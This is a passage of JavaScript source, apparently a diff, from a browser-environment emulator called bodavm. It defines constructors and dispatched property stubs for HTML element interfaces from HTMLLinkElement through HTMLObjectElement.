bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "sizes_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLLinkElement', "imageSrcset", {configurable:true, enumerable:true, get:function imageSrcset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "imageSrcset_get", arguments)}, set:function imageSrcset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "imageSrcset_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLLinkElement', "imageSizes", {configurable:true, enumerable:true, get:function imageSizes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "imageSizes_get", arguments)}, set:function imageSizes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "imageSizes_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLLinkElement', "charset", {configurable:true, enumerable:true, get:function charset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "charset_get", arguments)}, set:function charset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "charset_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLLinkElement', "rev", {configurable:true, enumerable:true, get:function rev (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "rev_get", arguments)}, set:function rev (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "rev_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLLinkElement', "target", {configurable:true, enumerable:true, get:function target (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "target_get", arguments)}, set:function target (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "target_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLLinkElement', "sheet", {configurable:true, enumerable:true, get:function sheet (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "sheet_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLLinkElement', "integrity", {configurable:true, enumerable:true, get:function integrity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "integrity_get", arguments)}, set:function integrity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "integrity_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLLinkElement', "fetchPriority", {configurable:true, enumerable:true, get:function fetchPriority (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "fetchPriority_get", arguments)}, set:function fetchPriority (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "fetchPriority_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLLinkElement', "blocking", {configurable:true, enumerable:true, get:function blocking (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "blocking_get", arguments)}, set:function blocking (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "blocking_set", arguments)}},'prototype'); - -// HTMLMapElement对象 -bodavm.memory.globalobj['HTMLMapElement'] = function HTMLMapElement(){if (!(this instanceof HTMLMapElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLMapElement'], "HTMLMapElement"); -bodavm.memory.globalobj['HTMLMapElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLMapElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLMapElement', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMapElement'].prototype, "HTMLMapElement", "name_get", arguments)}, set:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMapElement'].prototype, "HTMLMapElement", "name_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMapElement', "areas", {configurable:true, enumerable:true, get:function areas (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMapElement'].prototype, "HTMLMapElement", "areas_get", arguments)}, set:undefined},'prototype'); - -// HTMLMarqueeElement对象 -bodavm.memory.globalobj['HTMLMarqueeElement'] = function HTMLMarqueeElement(){if (!(this instanceof HTMLMarqueeElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLMarqueeElement'], "HTMLMarqueeElement"); -bodavm.memory.globalobj['HTMLMarqueeElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLMarqueeElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "behavior", {configurable:true, enumerable:true, get:function behavior (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "behavior_get", arguments)}, set:function behavior (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "behavior_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "bgColor", {configurable:true, enumerable:true, get:function bgColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "bgColor_get", arguments)}, set:function bgColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "bgColor_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "direction", {configurable:true, enumerable:true, get:function direction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "direction_get", arguments)}, set:function direction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "direction_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "height_get", arguments)}, set:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "height_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "hspace", {configurable:true, enumerable:true, get:function hspace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "hspace_get", arguments)}, set:function hspace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "hspace_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "loop", {configurable:true, enumerable:true, get:function loop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "loop_get", arguments)}, set:function loop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "loop_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "scrollAmount", {configurable:true, enumerable:true, get:function scrollAmount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "scrollAmount_get", arguments)}, set:function scrollAmount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "scrollAmount_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "scrollDelay", {configurable:true, enumerable:true, get:function scrollDelay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "scrollDelay_get", arguments)}, set:function scrollDelay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "scrollDelay_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "trueSpeed", {configurable:true, enumerable:true, get:function trueSpeed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "trueSpeed_get", arguments)}, set:function trueSpeed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "trueSpeed_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "vspace", {configurable:true, enumerable:true, get:function vspace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "vspace_get", arguments)}, set:function vspace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "vspace_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "width_get", arguments)}, set:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "width_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "start", {configurable:true, enumerable:true, writable:true, value:function start (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "start", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "stop", {configurable:true, enumerable:true, writable:true, value:function stop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "stop", arguments)}},'prototype'); - -// HTMLMenuElement对象 -bodavm.memory.globalobj['HTMLMenuElement'] = function HTMLMenuElement(){if (!(this instanceof HTMLMenuElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLMenuElement'], "HTMLMenuElement"); -bodavm.memory.globalobj['HTMLMenuElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLMenuElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLMenuElement', "compact", {configurable:true, enumerable:true, get:function compact (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMenuElement'].prototype, "HTMLMenuElement", "compact_get", arguments)}, set:function compact (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMenuElement'].prototype, "HTMLMenuElement", "compact_set", arguments)}},'prototype'); - -// HTMLMetaElement对象 -bodavm.memory.globalobj['HTMLMetaElement'] = function HTMLMetaElement(){if (!(this instanceof HTMLMetaElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLMetaElement'], "HTMLMetaElement"); -bodavm.memory.globalobj['HTMLMetaElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLMetaElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLMetaElement', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMetaElement'].prototype, "HTMLMetaElement", "name_get", arguments)}, set:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMetaElement'].prototype, "HTMLMetaElement", "name_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMetaElement', "httpEquiv", {configurable:true, enumerable:true, get:function httpEquiv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMetaElement'].prototype, "HTMLMetaElement", "httpEquiv_get", arguments)}, set:function httpEquiv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMetaElement'].prototype, "HTMLMetaElement", "httpEquiv_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMetaElement', "content", {configurable:true, enumerable:true, get:function content (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMetaElement'].prototype, "HTMLMetaElement", "content_get", arguments)}, set:function content (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMetaElement'].prototype, "HTMLMetaElement", "content_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMetaElement', "media", {configurable:true, enumerable:true, get:function media (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMetaElement'].prototype, "HTMLMetaElement", "media_get", arguments)}, set:function media (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMetaElement'].prototype, "HTMLMetaElement", "media_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMetaElement', "scheme", {configurable:true, enumerable:true, get:function scheme (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMetaElement'].prototype, "HTMLMetaElement", "scheme_get", arguments)}, set:function scheme (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMetaElement'].prototype, "HTMLMetaElement", "scheme_set", arguments)}},'prototype'); - -// HTMLMeterElement对象 -bodavm.memory.globalobj['HTMLMeterElement'] = function HTMLMeterElement(){if (!(this instanceof HTMLMeterElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLMeterElement'], "HTMLMeterElement"); -bodavm.memory.globalobj['HTMLMeterElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLMeterElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLMeterElement', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMeterElement'].prototype, "HTMLMeterElement", "value_get", arguments)}, set:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMeterElement'].prototype, "HTMLMeterElement", "value_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMeterElement', "min", {configurable:true, enumerable:true, get:function min (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMeterElement'].prototype, "HTMLMeterElement", "min_get", arguments)}, set:function min (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMeterElement'].prototype, "HTMLMeterElement", "min_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMeterElement', "max", {configurable:true, enumerable:true, get:function max (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMeterElement'].prototype, "HTMLMeterElement", "max_get", arguments)}, set:function max (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMeterElement'].prototype, "HTMLMeterElement", "max_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMeterElement', "low", {configurable:true, enumerable:true, get:function low (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMeterElement'].prototype, "HTMLMeterElement", "low_get", arguments)}, set:function low (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMeterElement'].prototype, "HTMLMeterElement", "low_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMeterElement', "high", {configurable:true, enumerable:true, get:function high (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMeterElement'].prototype, "HTMLMeterElement", "high_get", arguments)}, set:function high (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMeterElement'].prototype, "HTMLMeterElement", "high_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMeterElement', "optimum", {configurable:true, enumerable:true, get:function optimum (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMeterElement'].prototype, "HTMLMeterElement", "optimum_get", arguments)}, set:function optimum (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMeterElement'].prototype, "HTMLMeterElement", "optimum_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMeterElement', "labels", {configurable:true, enumerable:true, get:function labels (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMeterElement'].prototype, "HTMLMeterElement", "labels_get", arguments)}, set:undefined},'prototype'); - -// HTMLModElement对象 -bodavm.memory.globalobj['HTMLModElement'] = function HTMLModElement(){if (!(this instanceof HTMLModElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLModElement'], "HTMLModElement"); -bodavm.memory.globalobj['HTMLModElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLModElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLModElement', "cite", {configurable:true, enumerable:true, get:function cite (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLModElement'].prototype, "HTMLModElement", "cite_get", arguments)}, set:function cite (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLModElement'].prototype, "HTMLModElement", "cite_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLModElement', "dateTime", {configurable:true, enumerable:true, get:function dateTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLModElement'].prototype, "HTMLModElement", "dateTime_get", arguments)}, set:function dateTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLModElement'].prototype, "HTMLModElement", "dateTime_set", arguments)}},'prototype'); - -// HTMLObjectElement对象 -bodavm.memory.globalobj['HTMLObjectElement'] = function HTMLObjectElement(){if (!(this instanceof HTMLObjectElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLObjectElement'], "HTMLObjectElement"); -bodavm.memory.globalobj['HTMLObjectElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLObjectElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLObjectElement', "data", {configurable:true, enumerable:true, get:function data (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "data_get", arguments)}, set:function data (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "data_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLObjectElement', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "type_get", arguments)}, set:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "type_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLObjectElement', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "name_get", arguments)}, set:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "name_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLObjectElement', "useMap", {configurable:true, enumerable:true, get:function useMap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "useMap_get", arguments)}, set:function useMap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "useMap_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLObjectElement', "form", {configurable:true, enumerable:true, get:function form (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "form_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLObjectElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "width_get", arguments)}, set:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "width_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLObjectElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "height_get", arguments)}, set:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "height_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLObjectElement', "contentDocument", {configurable:true, enumerable:true, get:function contentDocument (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "contentDocument_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLObjectElement', "contentWindow", {configurable:true, enumerable:true, get:function contentWindow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "contentWindow_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLObjectElement', "willValidate", {configurable:true, enumerable:true, get:function willValidate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "willValidate_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLObjectElement', "validity", {configurable:true, enumerable:true, get:function validity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "validity_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLObjectElement', "validationMessage", {configurable:true, enumerable:true, get:function validationMessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "validationMessage_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLObjectElement', "align", {configurable:true, enumerable:true, get:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "align_get", arguments)}, set:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "align_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLObjectElement', "archive", {configurable:true, enumerable:true, get:function archive (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "archive_get", arguments)}, set:function archive (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "archive_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLObjectElement', "code", {configurable:true, enumerable:true, get:function code (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "code_get", arguments)}, set:function code (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "code_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLObjectElement', "declare", {configurable:true, enumerable:true, get:function declare (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "declare_get", arguments)}, set:function declare (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "declare_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLObjectElement', "hspace", {configurable:true, enumerable:true, get:function hspace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "hspace_get", arguments)}, set:function hspace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "hspace_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLObjectElement', "standby", {configurable:true, enumerable:true, get:function standby (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "standby_get", arguments)}, set:function standby (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "standby_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLObjectElement', "vspace", {configurable:true, enumerable:true, get:function vspace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "vspace_get", arguments)}, set:function vspace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "vspace_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLObjectElement', "codeBase", {configurable:true, enumerable:true, get:function codeBase (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "codeBase_get", arguments)}, set:function codeBase (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "codeBase_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLObjectElement', "codeType", {configurable:true, enumerable:true, get:function codeType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "codeType_get", arguments)}, set:function codeType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "codeType_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLObjectElement', "border", {configurable:true, enumerable:true, get:function border (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "border_get", arguments)}, set:function border (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "border_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLObjectElement', "checkValidity", {configurable:true, enumerable:true, writable:true, value:function checkValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "checkValidity", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLObjectElement', "getSVGDocument", {configurable:true, enumerable:true, writable:true, value:function getSVGDocument (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "getSVGDocument", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLObjectElement', "reportValidity", {configurable:true, enumerable:true, writable:true, value:function reportValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "reportValidity", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLObjectElement', "setCustomValidity", {configurable:true, enumerable:true, writable:true, value:function setCustomValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "setCustomValidity", arguments)}},'prototype'); - -// HTMLOListElement对象 -bodavm.memory.globalobj['HTMLOListElement'] = function HTMLOListElement(){if (!(this instanceof HTMLOListElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} 